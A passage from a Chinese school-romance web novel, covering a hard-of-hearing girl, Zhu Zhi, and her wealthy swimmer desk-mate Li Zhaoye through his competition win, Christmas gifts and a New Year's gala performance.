“行了行了，别想了，人家可是有一个青梅竹马的好朋友在一个班的，咱们学校谁不知道啊。”
祝枝微愣，她脑海里的记忆随着旁边的几个女生聊天的内容而逐渐浮现。
物理竞赛那天，她和林知阳是隔壁教室，借打水和上厕所在窗户边走过的第四次，她看到林知阳和另外一个女生在教室里聊天嬉闹，氛围很是融洽。
祝枝后来才知道，那个女生叫江羡，和林知阳从小一块长大，几乎是形影不离。
她们的谈话内容也从林知阳变成了江羡，作为艺术生，江羡很会打扮自己，在一众素面朝天的高中女孩里，她自信大方，漂亮得让人挪不开眼睛。
“肯定啊，你也不看看林知阳这么多年，身边走过别的女孩出现没有。”
“那倒也是，江羡都这么好看了，上次我见过她素颜，皮肤超级好……”
“太羡慕了，这名字可取得真好。”
声音逐渐淡下，祝枝轻轻取下耳朵里的助听器，垂眸遮下因为羡慕而略有些酸涩的视线，隔绝掉所有关于林知阳和江羡的事。
“最近教练说你还算认真，应该是在认真遵循食谱吧？”
“李昭野？人呢？”
李昭野把头戴式耳机挂到脖子上，将手机凑到耳边，问道：“呃，你说什么来着，刚刚卡了。”
“我说你最近没有出去乱吃东西吧？”
“没有，你不是都知道吗？”
说完这句话，李昭野反应过来，他已经不像以前那样时时刻刻都忙着控制自己，错过那次国家队选拔之后，他颇有几分放任李昭野自由的感觉，毕竟打造一个冠军不止要靠财力，还得真有天赋才行。
李昭野本来对游泳也只是有几分兴趣而已，自从被逼着变成了一项需要付出成倍努力的运动，将他的爱好彻底变形之后，李昭野拿出自己一贯的懒散态度，还挨了不少的念叨。
“毕竟高三了，你还是要认真点，学习成绩方面，我给你找几个家教老师吧。”电话那头的男人话音一顿，又说，“我拜托你们班主任找好了，她应该比较了解这些。”
李昭野已经专心投入到电脑游戏里去了，絮絮叨叨说了好一阵的李振华听到他的回应时已经是两分钟之后了。
“我又卡了，断断续续的。”
“你那什么信号啊？”
李昭野随口敷衍道：“网速很慢。”
“还有，你上周打架那件事是什么情况？”
“打架？我没打架啊。”李昭野皱眉回忆了一下。
“你不是还赔偿了一笔钱吗？”
“哦，那是体育课的时候不小心踢球踢到我同学的脸了，没打架。”
这个说法让李振华并未多疑，门外好几位组长已经等待良久了，他叮嘱了几句让李昭野乖巧一点，然后挂断了电话，开会去了。
“野哥，你真是不小心的啊？”
李昭野扣好耳机，修长的手指在键盘上飞速敲击着，眨眼间就击杀了对方三个人，经济飙升到一号位。
“打游戏的时候别说其他的，你看你操作都变形了。”
“不是哥，你把我人头都给抢了啊。”
“你助攻都没拿到，技能丢中了吗？就说我抢你人头。”
网吧包厢里总是会有一股难闻的烟酒味，李昭野在这家酒店长期定了间电竞房，除了偶尔去几次网吧之外，他们基本上都在这里打游戏，打完了就洗澡休息，一气呵成。
李昭野还是没他们那么能打，玩几局眼睛就累了，他打着哈欠躺回床上，拿出手机刷朋友圈。
他这才注意到，几分钟前李振华又给他转了一笔钱，是赔给那个男生的十倍还多，附的字李昭野没认真看，毫无波澜地删除了短信提醒后，他切回朋友圈。
刚刚好像瞄到了祝枝发的朋友圈。
是一张拍下书桌的照片，中间摆着两个本子和一张卷子，旁边放了好多支五颜六色的笔，最瞩目的，也是祝枝晒这条朋友圈的目的的，是一杯小料丰富的奶茶，和一块提拉米苏。
她只在文案上配了一个憨态可掬的小人，眨着水灵灵的眼睛，晃动着身体，光是看这个，就能感觉到她快要冲出屏幕的高兴。
李昭野轻笑，这么一个含蓄内敛的小姑娘，其实内心世界比谁都丰富。
但是，李昭野还是非常扫兴地评论道：写卷子也这么高兴，那我这份也归你写了。
祝枝很快回复他，是一个怒气冲冲的小人，生气地撇开了头。
班上有个搞游泳的风云人物，学生间关于这些比赛的讨论也不在少数，就连祝枝这个两耳不闻窗外事的，天天坐在李昭野身边，听他和朋友们聊了很多次，也知道李昭野下个礼拜在体育馆有场很重要的游泳比赛。
不知不觉已经把李昭野当成半个朋友的祝枝想了又想，犹豫了又犹豫，最后还是决定给他写张小纸条。
李昭野趴在桌子上，但是没睡着。
纸条被从他的手肘下推了过去，李昭野起身，捻起纸条一看。
-比赛加油
下面还画了一只祝枝很爱用的表情包
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小人的q版。
李昭野抬头看她，那人已经怯生生躲开了视线，脸颊微红，有些紧张。
很久，纸条被推到了祝枝手里。
-谢了我会加游
祝枝忍不住笑，她把纸条撕开，只留下写了字的一条长窄的形状，然后熟练地叠成一枚小小的星星。
她葱白的手指捏住那颗星星，轻轻放到李昭野摊开的手掌上。
“幸运星。”
她的声音虽然小，但李昭野还是清晰地听到了每一个字，祝枝的声音和普通话一点都不像她反省的那样差，只是说得少，更不敢说了，其实她的声音很好听，清脆干净。
除了她的声音，李昭野还清楚地听到自己放在胸膛里的心脏，顷刻间用力震了几下。
教室里只有空调嗡嗡响动的声音，李昭野将纸星攥进手里，然后认真问她：“你想去看我比赛吗？”
祝枝露出惊喜的表情，语速都快了不少：“我可以去吗？”
除了学校运动会之外，她还从来没在现场看过这样的体育竞技比赛，还挺新奇。
李昭野不自然地扭开头，说：“看你想不想去啊。”
“想。”
“行，我到时候给你搞个座位。”
李昭野给不少人搞了座位，祝枝都见过，都是他平时玩得好的那几个男生，一个个摩拳擦掌，甚至还有人从书包里翻出一条红色的横幅，上面写着八个大字。
“野哥出征，寸草不生！”
这口号响亮到祝枝都不敢多看几眼，她尴尬地挠了挠头，视线落到正在热身区的李昭野身上。
他穿着一件暗红色卫衣外套，坐在椅子上，他旁边的教练情绪激动地摆动着手臂，不知道在说什么，李昭野一如往常地打了个懒散的哈欠，视线不经意地投了过来。
注意到李昭野的视线，旁边的几个人摇横幅的动作更加激烈了。
“野哥加油！！”
“李昭野牛逼！”
祝枝被嚷得耳朵生疼，她默默捂住了耳朵。
进场的时候，欢呼声比这阵还要更加响亮，虽然嘈杂，但一群人激情澎湃的样子是很容易点燃热情的。
坐在祝枝身旁边的那个男生用手肘轻轻撞了她一下，说：“起来一起喊加油啊，野哥听到你的加油肯定会更有劲的。”
毕竟这可是李昭野第一次带女孩子来看自己的比赛，虽然谁多嘴去问都是挨一顿训，但他们都心知肚明，李昭野这个新同桌，在他心里肯定有点不太一样。
祝枝正准备起身一块滥竽充数地喊两句，视线忽然落到李昭野身上，他已经结束了准备时间，脱掉外套，和其他运动员一起朝泳池走来。
白皙的身体覆盖着一层薄而有力的肌肉，倒三角身材张弛有度，泳帽将他的头发都给包了起来，泳镜还挂在脖子上，立体优越的五官一览无遗，他迎着所有视线，步子走得潇洒坚定。
旁边几个人喊得更卖力了，几乎要把整个场馆都掀翻，祝枝就在这样嘈杂的环境中，收到了一个来自李昭野的视线。
他精准且迅速地找到了自己的位置。
13. 13
这是祝枝第一次在现场看游泳比赛，随着哨声的响起，整个场馆陷入了紧绷的沉默当中，一排整整齐齐的运动员以优雅的姿势入水，修长的身形在水中划出一道丝滑的痕迹。
随着时间的飞快流逝，所有运动员陆续到底池边，用力蹬脚转向，开始冲刺。
李昭野遥遥领先，在随着比赛进行到焦灼部分而逐渐响起的欢呼声中，奋力游向终点。
跟着第二名的人在最后三十米时开始发力，祝枝的心脏都被这焦灼起来的比赛而紧紧吊住。
下一秒，李昭野破浪加速，手臂在水面划出优美的弧线，径直到达终点。
第一名！
耳边霎时间响起一阵欢呼声，祝枝也跟着沸腾了起来，忍不住和他们一块起身，半点都不觉得嘈杂。
李昭野带了一身水出了池子，他摘下泳镜，脸颊上被印出了一道浅浅的红色痕迹，明亮的眸子像是被洗涤过似的透亮。
被问及拿到第一名有什么想法时，他勾唇轻笑，露出少年气十足的雀跃和明媚。
“有理由奖励自己饱餐一顿了。”
“难道只有赢了第一名才有奖励吗？”
“没拿第一名，那就安慰自己，也可以饱餐一顿。”
场馆内响起一阵笑声。
“野哥看起来心情可真不错。”
“那肯定啊，之前国家队来挑人的那次，就是这个比赛，他只输了一点点，这次也算是圆满了。”
跟着他们几个男生一块到休息室门口等李昭野出来，不知道谁把他们准备的一束花塞到了祝枝手里，她正错愕着，换好衣服的李昭野已经从休息室里出来了。
捧着花的少女眼睛睁得圆鼓鼓的，像是被吓到了，被身后那群臭男生们挤得往前一个踉跄，险些跌进李昭野怀里。
胡乱擦了两下头发的李昭野低头看向她，祝枝红着脸把花塞到他怀里，憋了半天都没憋出一句恭喜的话。
身后的人已经替她吆喝了。
“野哥牛逼！”
“恭喜野哥！”
“我就说肯定是第一名吧？”
还有人又大声嚷出了他们的口号：“野哥出征！寸草不生！”
李昭野轻笑着啧声：“行了啊，别丢人现眼了。”
周围都是陌生男生，嗓门一个比一个大，祝枝垂着头，跟只待宰的小羊羔似的，李昭野向前走了一步，侧身把她挡到身后。
“晚上请大家吃饭。”
“好耶！”
“能不能去上次咱去的高级餐厅啊？”
“那地方待着太难受了，还是去吃烧烤吧。”
“烧烤加一。”
李昭野打断了他们的计划。
“得去我家吃，最近时不时还有检查，不能出去吃。”
“也行，你家那厨师的水平可不低啊。”
“可以点菜吗？”
“海鲜海鲜，要吃海鲜大餐！”
一行人乌泱泱地朝门口走去，李昭野才抬腿，就被人轻轻拽住了衣角。
他扭头。
“我回家了。”祝枝小声说。
“一块去就行。”
祝枝略显为难。
李昭野又扭头看了眼身后那群吵吵嚷嚷的男生，心下明了，说：“也行，我叫人送你回家。”
祝枝摇了摇头拒绝。
李昭野还想再说点什么，但祝枝看起来确实已经在这样嘈杂的环境下待得脸色有点难看了，也就没多留她在原地掰扯。
临在门口告别之际，李昭野忽然想起什么似的，有些别扭地挠了挠脸。
“哦对了，谢谢你的花。”
祝枝眨巴眨巴眼睛看他，刚酝酿完要开口，李昭野已经被他们喊走了。
李昭野拿下第一名的事很快就传遍了学校的所有的群里，还有人把他的游泳片段和采访片段放了出来，大家一面感慨他多厉害，一面感慨命运可真是一个巨大的倾斜天平，长得帅，身材好，家里有钱，还在自己的领域里小有收获，让人眼红。
祝枝这周末上午补课的时候，发现就连林知阳都在看李昭野夺冠的视频。
熟悉的解说声音响起，祝枝多瞥了几眼，然后又默默收回视线。
镜头一扫而过的横幅下坐着的女生面容姣好，恬静乖巧。
林知阳放下手机，出声问她：“你和李昭野在一个班对吧？你和他很熟吗？”
林知阳很少和她聊这些，祝枝被猝不及防的问题问得啊了一声，然后小声回答。
“是同桌。”
“这样啊。”林知阳点了点头，他修长的手指落在手机背面，一下一下轻轻敲击着。
祝枝心里涌起一阵紧张，能不能问他要一个微信呢。
这是她琢磨了好久的事，可祝枝实在对主动要人微信这件事情不熟练，而且她也不知道要到了微信能干什么，说什么。
纠结之际，林知阳又开口了。
“是这样的，下周广播站想给他做一个专栏采访，但是去了几趟都没在你们班找到人。”
祝枝在心里默默嘀咕，那应该是逃课了。
“所以不知道你加没加他微信，能不能推给我——”林知阳悄悄打量着祝枝的表情，想在她为难之际立马周旋一下，“不方便的话也没事。”
祝枝点头。
“我有。”
加微信的申请是林知阳发来的，祝枝悄悄长舒了一口气，通过了他的好友申请。
加了微信后林知阳习惯性地点进她朋友圈。
“你也爱吃学校门口的这家面馆啊？我也经常去吃。”
祝枝猛然想起自己那些碎碎念的朋友圈都没有设置三天可见，这下全被看见了。
她急匆匆地拿起手机，脸颊泛着红，着急忙慌点进去想把朋友圈锁起来，但越是着急，就越误事，连按了两遍都没按对密码。
似乎是看穿了她的窘迫，林知阳赶忙放下了手机，轻笑道：“行行行，我不看了，你别着急。”
祝枝这下更窘迫了。
祝枝把李昭野的微信推给了林知阳，可他的好友申请被其他比赛后，慕名前来加李昭野微信好友的人给淹没了，过了三天都没被通过。
林知阳只好到班上来碰碰运气。
他在教室里搜寻了一圈，依旧是没看到李昭野的身影，倒是看到祝枝，她穿着宽大的校服，瘦瘦小小一个，神色温婉恬静，坐在窗户边，低头写着卷子。
“祝枝。”林知阳出声唤道。
她没反应，林知阳又叫了一遍。
“你叫她是听不见的，她耳朵有问题。”旁边路过的一个男生提醒道，“我帮你进去叫她？”
林知阳脸色微冷，轻轻扫了他一眼后，拒绝道：“不用了。”
林知阳走近，视线扫了一眼祝枝放在桌面上的卷子，然后轻轻拍了拍她的肩。
祝枝扭头，眼底闪过一丝错愕，看起来呆愣愣的。
“这套卷子我们昨晚也考了，我才考了八十多分，这题，我第一步就错了，你的答案也太标准了，好厉害。”
他伸手指着最后一道题，俯身像是把祝枝整个罩进怀里，好闻的皂角香味传来，祝枝心脏几乎提到了嗓子眼，压根没听清他在说什么。
虽然学校里最近的风头都被李昭野占了去，但林知阳从高一开始一直都是话题中心人物，他居然来找如此边缘的祝枝说话，还是惹得不少人侧目偷看。
李昭野进教室时就看到自己位置上站了个男生，他正半弓着身体，凑近和祝枝说着话。
她小小一个，被他完全挡住，只露出右手手肘。
两个人看起来有些亲密。
李昭野眉头一皱，走近后，抬脚踹了踹自己的凳子。
“走来。”他语气不善道。
林知阳扭头，脸上还带着笑：“你就是李昭野吧，你好，我叫林知阳。”
李昭野跻身坐下，把林知阳从自己的位置上挤了出去：“我知道，你不是隔壁班的吗？”
“之前祝枝给我推了你的微信，你还没通过，我想找你聊一下下周采访专栏的事情，教导处说……”
“我不去，好无聊。”李昭野在楼下就被拦住问了一次，他也是干脆利落地拒绝了。
“不会耽误你很长时间的。”林知阳始终保持着温和良善的态度，面对李昭野的不爽情绪也是一并收纳。
李昭野抬头和他对视。
“我不想去。”
李昭野今天心情不是很好，祝枝感觉到了。
那种刚坐在一起的时候对李昭野的恐惧感又涌上了心头，祝枝小心翼翼地降低自己的存在感，但还是被
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李昭野轻轻敲了敲桌子。
她放下手里的笔，转身看向他。
“你把我的微信推给他的？”
祝枝心脏一紧，磕磕巴巴道歉：“对不起。”
“你和他很熟吗？”
祝枝忙摇头。
“那你帮他推什么好友？”
反问的语气听起来真的很凶，祝枝不吭声了。
许是意识到了自己态度太差，祝枝怕得像只警惕的小猫似的，李昭野停顿了一会，将胸膛里这股他都没明白从何而来的涌动的烦躁忍下后，问她：“你想让我去参加他说的那个什么采访吗？”
祝枝抬眸，不解地看着他：“啊？”
“你是想让我去是吧？”
祝枝轻轻摇头：“随你。”
这还差不多，李昭野心情稍微好些了。
“以后别让别人随便坐我的位置。”
他没坐，祝枝只敢在心里顶嘴。
“也别随便把我的微信推给别人。”这事已经让李昭野烦到不行，恨不得换一个新微信用了。
“知道。”她乖乖回答。
李昭野没再出声了，祝枝悄悄松了口气，在心里把已经划到朋友范围的李昭野悄悄打上了脾气不好的标签。
李振华说要给李昭野找的家教老师，在周末的时候来了他家里，是个年纪比班主任还要大几岁的老教师，戴着一副紫色的框架眼镜，一副严肃的样子。
李昭野上课第一天就没来，这事迅速传到了李振华那里。
正逢公司遇到了个麻烦，无数发泄的烦躁全都一股脑输出给了压根没在听的李昭野。
他把电话凑到耳边的时候，李振华正在长篇大论他联系的这个老师究竟有多权威，但事实是他全都是交给别人干的，自己连这个被他夸上天的老师姓什么都不知道。
李昭野懒得跟他争辩，他问：“要真这么厉害，再给我找一个像她一样，专门给高三学生补习英语的老师给我吧。”
“你英语成绩不是挺好的吗？”李振华疑惑。
“又退步了。”
其实是上次考试睡过头了，忘记涂答题卡了。
“行，但是这次你要乖乖去上课。”
李昭野不仅乖乖去上课，还问老师要了一大堆的资料和复习大纲，他打着哈欠，死皮赖脸地问道：“老师，你能不能帮我把笔记记了啊？我游泳游得手很酸，不想写字。”
补习老师：“……”
毕竟钱给到位了，整理个笔记也不算难事，李昭野翻都没多翻两下，直接拿去学校给祝枝了。
“认真看啊，这是教了很多年的一线老师的专业存货，肯定能帮你提分。”
祝枝抱着笔记本，看恩人似的，眼睛汪汪的。
李昭野挠了挠脸，挪开视线道：“行了，别这么看我，我一般也懒得来上学，老师不是让我和你互帮互助吗？”
祝枝下一秒就从课桌里掏出物理卷子，一副要给他讲题的样子。
李昭野才不想听，他把外套罩住脑袋，瓮声瓮气道：“我困了，别吵我。”
不让她给他补习物理，祝枝拿了他这么好的复习资料，心里总是觉得过意不去，于是每天变着花样给李昭野带点好吃的，用此来回报他。
李昭野每天早上进教室，总能在桌上看到一份早餐，他很少吃，但是如果哪天吃了，祝枝就会认为他喜欢吃这个，第二天、第三天都买这个。
甚至给李昭野的接水跑腿工作，也被祝枝接下了。
她去接水时一般都会检查一下李昭野的杯子情况，空了就帮忙接回来，而且都是温度适中的温水，虽然李昭野很少喝。
杯子再次被塞到李昭野手里，但她一声不吭，给完水就跑了。
除了水，还有一瓶温好的牛奶。
程勇啧啧了两声：“野哥，不得了，你这次被田螺姑娘缠上了。”
李昭野的视线追随着祝枝消失的地方，嘴上虽然说着骂程勇闭嘴的话，但忍不住在心里郁闷。
怎么回事啊？给她送资料就是为了让她专心学习，别搞这些七七八八的少女心思了，这怎么还越来越明显了啊。
不行不行，这样不行。
李昭野一边苦思冥想，一边打开程勇想来偷他牛奶的手。
“滚蛋，想喝自己去热。”
14. 14
温度在圣诞节前夕骤降，一场小雪惹得教室里坐着的学生们激动不已，可飘了半个多小时的雪花没有在大地上留下任何痕迹，徒留一腔空欢喜。
祝枝失落地收回视线，她对着冻僵的手哈了一口热气，放进基本上没温度的热水袋里暖了一下后，慢吞吞地从口袋里翻出一个捏的变形的暖宝宝，但是已经没什么温度了。
她又从课桌里掏出一个充好电的暖手宝，捂在手掌心。
李昭野看着好笑。
“你到底有多少保暖工具？”
教室里虽然开了空调，但是为了通风透气，前后门和中间的窗户都是打开的，祝枝坐在窗户边，耳朵都冻红了。
她抬起眼睛，被冻红的手凑到了唇边，呼了一口热气：“冷。”
声音软软糯糯的，像在撒娇。
李昭野起身，把她身后的窗户关上，隔绝了大部分对流的冷风。
“李昭野，要透气。”班长提醒道，因为另一边窗户的人已经在小声抱怨为什么他可以关窗户，自己却不可以了。
“冷。”
祝枝：“……”
怎么感觉有点像在学她刚刚的语气。
晚二刚上课，好几个人抬着大箱子到了教室里，瞬间变得闹哄哄的。
外卖是程勇喊人一块去取的，他率先吆喝道：“野哥请大家喝奶茶！”
全班每个人都有一杯，教室里瞬间响起一阵欢呼声，将寒冷的浪潮从教室里挤了出去。
奶茶分到祝枝手上的时候，滚烫的温度顺着她的手指传递过来，这下又来了个能捂手的，她捧在手心，小声说了句谢谢。
李昭野正在野区鏖战，他头也没抬，把自己桌上的那杯递给祝枝。
“一只手一杯，我不爱喝。”
这杯奶茶到了下晚自习都没喝完，祝枝收拾完东西，捧着奶茶走在回家的路上。
他们学校正好在风口处，冬天灌进来的风几乎能把她卷起来吹跑，祝枝心里暗暗计划着明天要再多带几片暖宝宝到学校来备用，用来抗衡难捱的晚自习。
第二天晚上，李昭野又请大家喝奶茶了。
祝枝依旧是拿在掌心捧着，但她今天没拆开喝。
“怎么不喝？”李昭野随口问道。
“会睡不着。”祝枝轻轻吐了吐舌头，略有些苦恼的样子。
她昨天才喝了半杯，到凌晨三点，整个人还是精神到不行，在黑暗里瞪着眼睛，不知道怎么酝酿睡意。
李昭野：“……”
第三天晚上就没有奶茶了，李昭野人都没在教室，被喊去参加元旦晚会的排练了。
他有一个钢琴伴奏的活，这还是祝枝第一次知道李昭野竟然会弹钢琴，毕竟他平时给人的形象是个说一不二的体育生，上次路过大礼堂，瞥见他穿着校服坐在钢琴前，肩头落了好些傍晚时分格外柔和的阳光，修长的手指在琴键上跳跃着，整个人浸在光里，矜贵儒雅。
祝枝在课桌上悄悄模仿了一下他弹钢琴的动作，小时候祝枝也是想要去学一个乐器的，可她耳朵先天条件不行，很难辨认出音调，学琴的事也就不了了之了。
下晚自习的时候，终于下了场铺雪，大片大片的雪花从天上旋转着落下，在路灯的照映下轻如棉絮，无声地落在大地上。
上了一整天晚自习的学生们有些兴奋地在雪里打闹，一年三百多天的时间，能看到雪的日子少之又少，一想到明天醒来就能收获整片白色的雪，祝枝的心情就忍不住跟着雀跃。
她伸手去接雪花，小小的雪花飘落到指尖，很快消失不见。
乐此不疲的游戏让祝枝忘记了时间，她眼睛弯弯，含着笑意，摊开手，任由雪花落入。
“这就不怕冷了？”
熟悉的声音响起，祝枝扭头望去，眼底的笑意尚未散开，鼻尖被冻得泛红，红嫩的唇齿间氤氲出薄薄的白雾。
李昭野穿着件黑色冲锋衣，五官在黑夜里被勾勒得轮廓分明，披了一肩的雪花而来。
他走近，祝枝轻轻踮脚，伸手，用指尖捻住刚刚落在李昭野肩头的一枚雪花。
她身上的有淡淡的馨香，在寂静的冬夜里格外明显，带着温暖涌入鼻腔，陡然靠近的动作让李昭野微愣，被摘去雪花后，她得意地举起，四下已经不剩几个同学了，祝枝难得暴露自己在信赖的环境中才有的娇俏和雀跃。
“好漂亮。”她小声道。
是很漂亮，也消失的很快，轻轻用拇指捻了捻，还能感受到余温。
沉浸在看雪的时间里，结果就是错过了最后一班专门等待高三学生的班车，祝枝呆呆地站在公交站台下，呼吸平缓，唇齿间氤氲的雾气漫过冻红的脸颊。
李昭野停在车前，冲她招手。
“过来，送你回家。”
才这点温度，祝枝就穿了件厚重的白色棉袄，跑起来的时候像一只笨笨的企鹅。
李昭野盯着她爬上了后座，似乎是意识到自己略显笨拙，祝枝红着脸躲开他的视线，说：“谢谢。”
李昭野虽然偶尔凶，但人真的很不错，不仅会大方地请全班和奶茶，替她补习英语，还送她回家。
他可真善良，一点都不像她们吐槽的太过于孤傲冷淡的性格。
车里的空调嗡嗡作响，逐渐暖下来的身体放松了不少，祝枝趴在窗户边，眼巴巴地看着窗外的雪。
“有这么喜欢？”李昭野忍不住问。
祝枝没回答，但重重点了点头。
“礼堂那边有个休息室可以看书。”李昭野冷不丁开口道。
祝枝扭头，不解道：“嗯？”
“如果觉得教室冷，你可以到礼堂来自习。”李昭野摸了摸鼻子，挪开视线，“如果不觉得冷就当我没说。”
“可以吗？”祝枝小声问。
“可以，我过去排练的时候你跟我一块进去就行。”
祝枝在心里小声欢呼了一下，但表面上还是波澜不惊。
“谢谢。”
但这个波澜不惊也仅限于她的自认为，在李昭野眼里，可是明晃晃地看到了她眉梢的喜意。
妈的，最近这爱多管闲事的破毛病真是越来越严重了。李昭野心想。
祝枝经常向妈妈分享自己在学校的生活，在妈妈面前，她不用担心自己的普通话不够标准，或者有口音，可以放心地大声倾诉。
大肆夸奖了李昭野一番后，妈妈笑眯眯道：“你好像很喜欢你的这个新同桌哦。”
“他人很好。”
“下次可以请她来家里玩，你不是说他一个人在家吗？周末可以邀请她来家里一块学习，你的房间多睡一个女孩也足够了。”
祝枝闻言，立马红透了脸。
“他是男生！”
这下妈妈的笑就收敛了好几分。
“男生啊……”
自家女儿乖，又好不容易有了个朋友，她实在不忍心说那些注意交往分寸的扫兴话。
“很快就要圣诞节了，班上同学都在准备礼物……”祝枝想给李昭野送一个礼物表示感谢，可怎么也想不到家境优渥的他会想要什么。
她苦恼地咨询妈妈。
“你可以挑一个在冬天能用上的东西。”
祝枝似懂非懂地点了点头，她忽然想起什么，兴奋地从床上跳下来，掀开窗帘一角，扭头对妈妈说：“妈妈，雪更大了。”
“对啊，所以早点休息，明天睁眼就能看到白茫茫的一片了。”
带着这样的期待，祝枝睡了个好觉，她睁眼第一件事就是掀开被子，蓄了一整晚的雪铺在城市的各大屋檐上，压得树梢弯了下来，摇摇欲坠，酝酿了一整年的雪带来巨大的寂静，似乎把全世界的嘈杂都给吸收了，静到只能听见心脏在胸腔里用力鼓动，迎接新的一天的声音。
终于到了祝枝最爱的雪天。
下雪这天温度更低，祝枝在晚自习前收拾好了准备完成的任务清单，然后背着书包跟着李昭野去了大礼堂。
那儿已经有不少表演的学生到了，他们今天要换衣服来一场正式的彩排，李昭野把祝枝安顿在了隔音很不错的休息室里，他换了身白色的西装，身形被衬得板正帅气，一边笨拙地打着领带，一边对祝枝说：“要提前走记得给我发个消息，或者等我到彩排结束一块走。”
祝枝点了点头，她的视线落到李昭野脖颈处的领带上，起身道：“好像系错了。”
她上手，他自然地脱了手，祝枝神色专注，把李昭野系的超级难看的领带给拆掉，重新系了一个。
“李昭野——”
身后传来一道略有些熟悉的声音，踮着脚的的祝枝扭头，正好撞进林知阳错愕的视线里。
慌乱间，祝枝赶忙往后退了两步。
林知阳冲她挤出一个笑，然后对李昭野说：“马上开始了。”
李昭野理了理祝枝系的领带，对她说：“别乱跑啊。”
祝枝点头，她看了眼林知阳离开的背影，他头都没回，带着李昭野径直离开了。
李昭野和林知阳是同一个节目，他和江羡负责朗诵，李昭野负责伴奏，排练了无数遍的乐曲在指尖滑了出来，李昭野弹完后还有一段休息时间，他瞥了眼把门关得严严实实的休息室，又收回了视线。
休息室里的暖气很足，外面虽然有排练的声音，但墙体隔音，而且祝枝也没认真去听外头的动静，几乎影响不到她，一连几天，她都跟着李昭野去排练，偶尔拖的时间长了些，李昭野就送她回家。
圣诞节当天晚上，不少人都说自己有别的安排，大家早早就散了。
李昭野见她一整天都有些欲言又止的，进教学楼之前，他顿住步子，问祝枝：“你今天怎么心不在焉的？”
祝枝咬着牙给自己鼓了一把气，她扭头转到前面来，翻出书包里的一个小礼盒，递给李昭野。
几乎是看到这个礼物盒子的一瞬间，李昭野的太阳穴就突突地跳动了起来，他眉头微皱，劝说祝枝专心学习的话都到了喉咙口，就是没能说出口。
“这段时间谢谢你……”祝枝在妈妈面前可是练习了一套非常有诚意的感谢词，可这么被李昭野盯着，她实在有些难为情，也不知道该从何说起，“嗯……谢谢你帮我，很多很多……”
面前的人窘迫到好像快要哭出来，李昭野感觉自己的心脏都被跟着一块捏紧了，他说不出一句拒绝的话。
“圣
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诞快乐……”
祝枝最后以这个祝福结尾，她捏着纸盒的手都在轻轻发着抖，在李昭野的沉默中，祝枝更是紧张。
“谢谢。”
这句话宛如拂面而来的春风，让祝枝彻底松了口气。
李昭野接过她手里的盒子，下一秒，面前的人就嘀咕了一句先回教室了，然后逃也似的跑了。
李昭野打开盒子一看，里面躺着一条暖和的黑色围巾，摸起来很是舒服。
送个礼物都能让她紧张成这样，李昭野忽然又没那么担心她会不顾一切地捅开心里的想法了。
只是收了礼物，还是得回个礼吧，他心想。
祝枝每次跟着去排练，都是直奔休息室，从来没完整看过李昭野的节目，跟着在班级队伍里入场后，找到位置坐下，然后默默忍耐周围嘈杂的声音。
元旦晚会的开幕式在领导拖得又长又难听的声音中开始，穿着舞蹈服的演员们踩着节拍进入舞台，随着灯光的转换，现场瞬间从无聊的大会变成了晚会现场。
震耳欲聋的音乐让祝枝的耳朵生疼，但舞蹈表演还是精彩纷呈。
两个节目过去，周围有人开始讨论起李昭野的节目在第几个。
“他是什么节目来着？唱歌吗？”
“不是，一个朗诵节目，他是钢琴伴奏。”
“那是谁朗诵啊？”
“好像是林知阳和江羡。”
熟悉的几个名字一股脑地钻进脑子里，就在祝枝努力加载她们的聊天内容之际，主持人已经在报幕了。“接下来请欣赏高三学生，林知阳、江羡、王川、周闻、李昭野带来的朗诵！”
现场涌起比前面几个节目都更加激烈的欢呼声，祝枝忍不住皱眉捂住了耳朵，在万众瞩目下，她看到江羡和林知阳并排从帷幕后走了出来，都是穿着简单的白衬衣，江羡穿的黑裙子，林知阳穿的黑裤子，站在一块，两个人配得让周围的人都忍不住感慨。
当然，更多的感慨声还是李昭野穿西装居然这么帅。
估计是为了上台，他还化了点妆，精致立体的五官在灯光下更是耀眼夺目，脸色略有些冷淡，也给他增添了几分清冷和梳理。
节目很快就开始了，江羡起头，标准自信的腔调带着浓厚的情感，迅速地将人带到了诗歌的情绪当中，她和林知阳配合，完成了前半段的表演。
确实是太般配了，般配到祝枝都不想抬眼多看。
她都不敢奢想如果是自己能自信地拿着话筒站在台上，和林知阳一起完成朗诵表演会是什么样的。可现实是她和其他人大声说一句话都是煎熬，更别说要接受所有人的视线，自信大胆地展示自己。
她又忍不住想，如果自己也能像个正常人一样，听得到所有动听的、难听的声音全貌，她是不是能比现在背再挺得直一些，声音再大一些，神态更自信一些。
可这简直是天方夜谭，直接从根源处就断去了她的念想。
悠扬的间奏声响起，场馆里一改之前的喧嚣，在李昭野的这段单独的弹奏中陷入安静，只有他接受着一束灯光，专注地弹奏着眼前的音符。
祝枝抬起酸涩的眸看向李昭野，那人光彩熠熠，能从容的接受所有赞扬的视线。
曲毕，江羡披着灯光前来结尾。
祝枝深吸了一口气，弓着腰，低下头朝礼堂门走去。
演出顺利完成，李昭野早就把后面的节目看了个遍，他在自己班位置逛了一圈，没见着祝枝人，于是走到礼堂外去找。
她明明很怕冷，却能在寒冬腊月里坐在草坪旁边的座椅上发呆。
李昭野走近，有些惊讶。
“你在哭吗？”
祝枝被他吓了一跳，赶忙摇头。
她没哭，只是眼睛有点红红的。
李昭野蹲到她面前，问她：“你看了我的节目没？”
祝枝点头，她咬了咬下唇，赌气小声道：“不好看。”
“给我拍照没？看看。”
“没拍。”
光顾着伤心了，哪有空拿出手机来拍照。
“行吧。”他起身，“这么冷，还要在这里坐？”
祝枝偏开头，紧着下唇不吭声。
“你这脾气来的莫名其妙。”李昭野嘀咕道，“这也不肯那也不肯，那这个你要不要？”
一枚圆乎乎的透明玻璃球从李昭野指尖掉落，他捏住项链的另一段，把玻璃球递到祝枝面前。
“雪花？”
“上次下雪的一朵，我叫人做成标本，存到项链里了。”
祝枝抬眸，眼底映入一片清冷的月光，闪烁着。
李昭野被她这样湿漉漉的视线盯得有些不好意思，摸了摸鼻子后，他说：“当围巾的回礼了，新年快乐。”
祝枝接过项链，鼻尖涌上的酸意再也忍不住了。
“对不起……”
她含着颤抖的哭腔。
“你的节目很好看……”
李昭野还是第一次看她哭，整个人都慌了。送个礼物把人弄哭了，李昭野还从来没遇到过这种情况，一时间不知道该先安慰还是先给她擦眼泪。
“不是，好看就好看，你哭什么？”
15. 15
李昭野没哄过女孩，也没想到一杯奶茶就能让祝枝止住小声的抽噎。
她捧着奶茶杯，轻耸着鼻子，慢吞吞地喝下一口。
已经沿着校门口的这条路走了很久了，她杯里的液体看起来压根没怎么减少。
“晚上睡不着怎么办？”
